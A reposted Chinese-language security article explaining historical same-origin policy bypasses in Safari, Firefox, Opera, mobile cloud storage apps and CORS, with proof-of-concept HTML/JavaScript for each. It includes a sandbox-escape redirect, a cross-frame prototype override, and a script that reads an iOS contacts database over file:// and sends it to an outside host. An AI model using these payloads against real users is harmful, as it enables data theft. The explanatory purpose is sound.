转载

同源策略绕过补充(Part2)

在上一节中,我们了解了几个有关同源策略绕过的例子,接下来在Part2中会介绍Safari,FireFox,云存储,以及CORS中的同源策略绕过例子。

Safari同源策略绕过

为了帮助大家更好的理解,http://httpsecure.org和file://httpsecure都视为不同源,Safari浏览器(IOS以及MAC)6.0.2版本当需要访问本地资源时不执行同源策略。尝试使用file协议打开一个HTML文件,包含在文件内的JavaScript代码可以绕过同源策略。

<html> <body> <h1> I'm a local file loaded using the file:// scheme </h1> <script> xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send(); </script> </body> </html>

现在页面使用file协议进行加载,执行上面的请求之后,XMLHTTPRequest对象仍然能够获得响应信息。

Firefox同源策略绕过

Firefox是最常见的浏览器,这个同源策略绕过是2012年10月份Gareth Heyes发现。这个问题存在于Firefox16中脱离同源策略的限制,导致未经授权访问window.location对象。

绕过代码如下:

<!Doctype html> <script> function poc() { var win = window.open('https://httpsecure.org/abc/', 'newWin', 'width=200,height=200'); setTimeout(function(){ alert('Hello '+/^https:////httpsecure.org//([^/]+)/.exec( win.location)[1]) }, 5000); } </script> <input type=button value="Firefox knows" onclick="poc()">

在一个你操控的源上执行上面的代码,浏览器会弹出另一个选项卡进行HTTPS验证。加载httpsecure.org/abc以及重定向到 https://httpsecure.org/ <user_uid>/lists(user_uid是你的httpsecure handle)。5秒钟之后,exec函数将触发window.location对象解析正则表达式,这会导致在警告框中显示httpsecure handle。

2012年8月,当火狐发布支持HTML5沙盒iframe的版本时,布朗发现当把沙盒iframe的属性设置为allow-script,来自iframe的虚假JavaScript仍然可以访问window.top,这将会改变外部的window.location。

<!-- Outer file, bearing the sandbox --> <iframe src="inner.html" sandbox="allow-scripts"></iframe>

框架代码:

<!-- Framed document , inner.html --> <script > // escape sandbox: if(top != window) { top.location = window.location; } // all following JavaScript code and markup is unrestricted: // plugins, popups and forms allowed. </script>

这段代码需要指定额外的allow-top-navigation代码,允许JavaScript加载一个iframe改变窗口位置,攻击者可以使用它重定向目标用户到指定的恶意网站。

注意:在HTML5,新出现了一个叫做沙盒的iframe属性,这个新属性的关注点在于拥有一个更科学更安全的方式使用iframe。

Opera同源策略绕过

这个同源策略绕过是由Heyes发现的,当覆盖函数或者创建一个location对象的iframe,Opera没有正确执行同源策略。

让我们看下面的代码示例:

<html> <body> <iframe id="ifr" src="http://httpsecure.org/xdomain.html"></iframe> <script> var iframe = document.getElementById('ifr'); function do_something(){ var iframe = document.getElementById('ifr'); iframe.contentWindow.location.constructor. prototype.     defineGetter__.constructor('[].constructor. prototype.join=function(){console.log("pwned")}')(); } setTimeout("do_something()",3000); </script> </body> </html>

下面是来自不同源的框架内容:

<html> <body> <b>I will be framed from a different origin</b> <script> function do_join(){ [1,2,3].join(); console.log("join() after prototype override: " + [].constructor.prototype.join); } console.log("join() after prototype override: " + [].constructor.prototype.join); setTimeout("do_join();", 5000); </script> </body> </html>

在上述框架代码,当在数组中调用join(),就会使用constructor.prototype.join原生代码值。几秒钟之后, [1,2,3]数组调用join(),如果你对上面的代码有一个清晰的认识,那么你肯定看到join()被do_something()覆盖。

实际情况中,这个绕过也是有局限性的,只能在某些安全防护较低的站点使用。

举个例子,我们在Opera浏览器中打开两个选项卡,其中一个选项卡是已经被攻下的页面,另外一个是身份验证页面。如果你在身份验证页面源里面创建一个iframe包含src标签,你就可以浏览到iframe框架内的所以内容了。

云存储中同源策略绕过

如果你认为同源策略绕过只存在在Web浏览器以及一些插件那就错了,云存储服务器也是存在同源策略绕过的。DROPBOX 1.4.6(iOS),DROPBOX 2.01(Android)和Google Drive 1.0.1(iOS),这些都提供用户将文件存储到云端。Roi Saltzman发现了一个类似于Safari的同源策略绕过。这个绕过依赖于在高权限区域加载一个文件。

File://var/mobile/application/app_uuid

如果攻击者通过客户端欺骗用户加载一个HTML文件,包含在该文件中的JavaScript就会自动执行。这种攻击方式,需要满足JavaScript能够获取移动设备的本地文件系统。

仅供参考:如果HTML使用file协议进行加载,就无法组织JavaScript获取其他文件了。

file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb

上述链接中包含的AddressBook为iOS用户的联系人信息,如果目标应用不允许进行外部访问,你还可以对缓存进行检索。

如果用户访问这个恶意链接,用户的联系人信息就会被发送到httpsecure.org.

<html> <body> <script> local_xhr = new XMLHttpRequest(); local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/ 150 Chapter 4 ■ Bypassing the Same Origin Policy AddressBook.sqlitedb"); local_xhr.send(); local_xhr.onreadystatechange = function () { if (local_xhr.readyState == 4) { remote_xhr = new XMLHttpRequest(); remote_xhr.onreadystatechange = function () {}; remote_xhr.open("GET", "http://httpsecure.org/?f=" + encodeURI(local_xhr.responseText)); remote_xhr.send(); } } </script> </body> </html>

跨源资源共享(CORS)中的同源策略绕过

CORS也存在同源策略绕过,CORS中的Access-Control-Allow-Origin: *可能存在着错误设置。

上面的代码中就存在一个潜在的设置错误,据某机构统计表明有大概100万应用存在这Access-Control-Allow-Origin: *头设置错误。这就意味着允许任何互联网中的应用向这个站点提交一个交叉源请求,并获取返回响应。

* 参考来源 infosec ,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...